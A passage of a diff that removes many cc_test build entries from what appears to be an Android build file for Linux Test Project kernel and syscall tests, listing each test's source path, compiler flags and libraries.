-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_iopl01",
-    stem: "iopl01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/iopl/iopl01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ext4_test_inode_version",
-    stem: "ext4_test_inode_version",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_test_inode_version.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_acl_link_test",
-    stem: "acl_link_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/acls/acl_link_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_iopl02",
-    stem: "iopl02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/iopl/iopl02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mkdirat01",
-    stem: "mkdirat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mkdirat/mkdirat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mkdirat02",
-    stem: "mkdirat02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mkdirat/mkdirat02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_checkpoint",
-    stem: "tst_checkpoint",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/lib/tst_checkpoint.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_inode01",
-    stem: "inode01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/inode/inode01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DLINUX",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_keyctl04",
-    stem: "keyctl04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/keyctl/keyctl04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ioctl06",
-    stem: "ioctl06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ioctl/ioctl06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dirtyc0w_child",
-    stem: "dirtyc0w_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/dirtyc0w/dirtyc0w_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ksm02",
-    stem: "ksm02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/ksm/ksm02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_meltdown",
-    stem: "meltdown",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/cve/meltdown.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: [
-        "testcases/realtime/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ptrace02",
-    stem: "ptrace02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ptrace/ptrace02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_vmsplice01",
-    stem: "vmsplice01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/vmsplice/vmsplice01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork12",
-    stem: "fork12",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork12.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork13",
-    stem: "fork13",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork13.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork10",
-    stem: "fork10",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork10.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setpgid03_child",
-    stem: "setpgid03_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setpgid/setpgid03_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_nanosleep01",
-    stem: "nanosleep01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/nanosleep/nanosleep01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork14",
-    stem: "fork14",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork14.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_nanosleep02",
-    stem: "nanosleep02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/nanosleep/nanosleep02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_memset01",
-    stem: "memset01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/memset/memset01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename09",
-    stem: "rename09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename08",
-    stem: "rename08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fsync03",
-    stem: "fsync03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fsync/fsync03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fsync02",
-    stem: "fsync02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fsync/fsync02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getresuid01",
-    stem: "getresuid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getresuid/getresuid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename04",
-    stem: "rename04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename07",
-    stem: "rename07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename06",
-    stem: "rename06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename01",
-    stem: "rename01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename03",
-    stem: "rename03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename02",
-    stem: "rename02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_get_priority_max02",
-    stem: "sched_get_priority_max02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chroot04",
-    stem: "chroot04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chroot/chroot04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_memcpy01",
-    stem: "memcpy01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/memcpy/memcpy01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setrlimit03",
-    stem: "setrlimit03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setrlimit/setrlimit03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_kvcmp",
-    stem: "tst_kvcmp",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/lib/tst_kvcmp.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dio_truncate",
-    stem: "dio_truncate",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/ltp-aiodio/dio_truncate.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DAIO",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_modify_ldt03",
-    stem: "modify_ldt03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/modify_ldt/modify_ldt03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_modify_ldt02",
-    stem: "modify_ldt02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/modify_ldt/modify_ldt02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_modify_ldt01",
-    stem: "modify_ldt01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/modify_ldt/modify_ldt01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timer_delete03",
-    stem: "timer_delete03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/timers/timer_delete/timer_delete03.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/timers/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getsid01",
-    stem: "getsid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getsid/getsid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getsid02",
-    stem: "getsid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getsid/getsid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getdomainname01",
-    stem: "getdomainname01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getdomainname/getdomainname01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_time02",
-    stem: "time02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/time/time02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_time01",
-    stem: "time01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/time/time01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cve-2017-6951",
-    stem: "cve-2017-6951",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/cve/cve-2017-6951.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_settimeofday01",
-    stem: "settimeofday01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/settimeofday/settimeofday01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getaddrinfo_01",
-    stem: "getaddrinfo_01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/lib6/getaddrinfo_01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pty01",
-    stem: "pty01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/pty/pty01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_settimeofday02",
-    stem: "settimeofday02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/settimeofday/settimeofday02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_get_mempolicy01",
-    stem: "get_mempolicy01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_read02",
-    stem: "read02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/read/read02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_truncate03",
-    stem: "truncate03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/truncate/truncate03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/truncate",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_truncate02",
-    stem: "truncate02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/truncate/truncate02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/truncate",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_send01",
-    stem: "send01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/send/send01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_brk01",
-    stem: "brk01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/brk/brk01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_futex_wait04",
-    stem: "futex_wait04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/futex/futex_wait04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ext4_file_time",
-    stem: "ext4_file_time",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/ext4-new-features/ext4-nsec-timestamps/ext4_file_time.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setpgid01",
-    stem: "setpgid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setpgid/setpgid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_setattr01",
-    stem: "sched_setattr01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_setattr/sched_setattr01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setpgid03",
-    stem: "setpgid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setpgid/setpgid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setpgid02",
-    stem: "setpgid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setpgid/setpgid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_gettimeofday01",
-    stem: "gettimeofday01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/gettimeofday/gettimeofday01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_rr_get_interval03",
-    stem: "sched_rr_get_interval03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_gettimeofday02",
-    stem: "gettimeofday02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/gettimeofday/gettimeofday02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_inotify06",
-    stem: "inotify06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/inotify/inotify06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuctl_test04",
-    stem: "cpuctl_test04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_test04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_clock_settime03",
-    stem: "clock_settime03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/timers/clock_settime/clock_settime03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/timers/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_memctl_test01",
-    stem: "memctl_test01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/memctl/memctl_test01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_ksm06",
-    stem: "ksm06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/ksm/ksm06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_keyctl01",
-    stem: "keyctl01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/keyctl/keyctl01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fpathconf01",
-    stem: "fpathconf01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fpathconf/fpathconf01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_alarm01",
-    stem: "alarm01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/alarm/alarm01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_getattr02",
-    stem: "sched_getattr02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_getattr/sched_getattr02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_rr_get_interval01",
-    stem: "sched_rr_get_interval01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuctl_test02",
-    stem: "cpuctl_test02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_test02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_rmdir05",
-    stem: "rmdir05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rmdir/rmdir05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rmdir04",
-    stem: "rmdir04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rmdir/rmdir04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rmdir01",
-    stem: "rmdir01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rmdir/rmdir01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuctl_test01",
-    stem: "cpuctl_test01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_test01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_genlog",
-    stem: "genlog",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/exp_log/genlog.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_rmdir02",
-    stem: "rmdir02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rmdir/rmdir02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_rr_get_interval02",
-    stem: "sched_rr_get_interval02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_yield01",
-    stem: "sched_yield01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_yield/sched_yield01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
